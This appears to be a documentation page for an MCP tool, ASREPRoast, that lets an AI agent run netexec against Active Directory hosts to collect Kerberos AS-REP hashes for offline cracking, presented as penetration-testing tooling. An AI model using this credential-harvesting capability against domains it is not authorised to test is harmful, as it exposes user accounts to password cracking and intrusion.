ASREPRoast
Retrieve Kerberos 5 AS-REP etype 23 hashes from users without pre-authentication to identify vulnerable Active Directory accounts for security testing.
Instructions
Retrieve the Kerberos 5 AS-REP etype 23 hash of users without or with Kerberos pre-authentication required
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| ips | Yes | ||
| usernames | Yes | ||
| passwords | Yes |
Implementation Reference
- src/pentestmcp/server.py:239-245 (handler)The handler function decorated with @mcp.tool registers and implements the ASREPRoast tool. It runs netexec ldap --asreproast to retrieve Kerberos AS-REP etype 23 hashes for specified users on target IPs, saving to hashes.txt. Supports optional passwords.
@mcp.tool(name="ASREPRoast",description="Retrieve the Kerberos 5 AS-REP etype 23 hash of users without or with Kerberos pre-authentication required ") def ASREPRoast(ips:List[str],usernames,passwords): if len(passwords)>0: return run_command(["netexec","ldap"]+ips+["-u",usernames,"-p",passwords,"--asreproast",config.PROJECT_DIRECTORY+"/hashes.txt"]) return run_command(["netexec","ldap"]+ips+["-u",usernames,"--asreproast",config.PROJECT_DIRECTORY+"/hashes.txt"])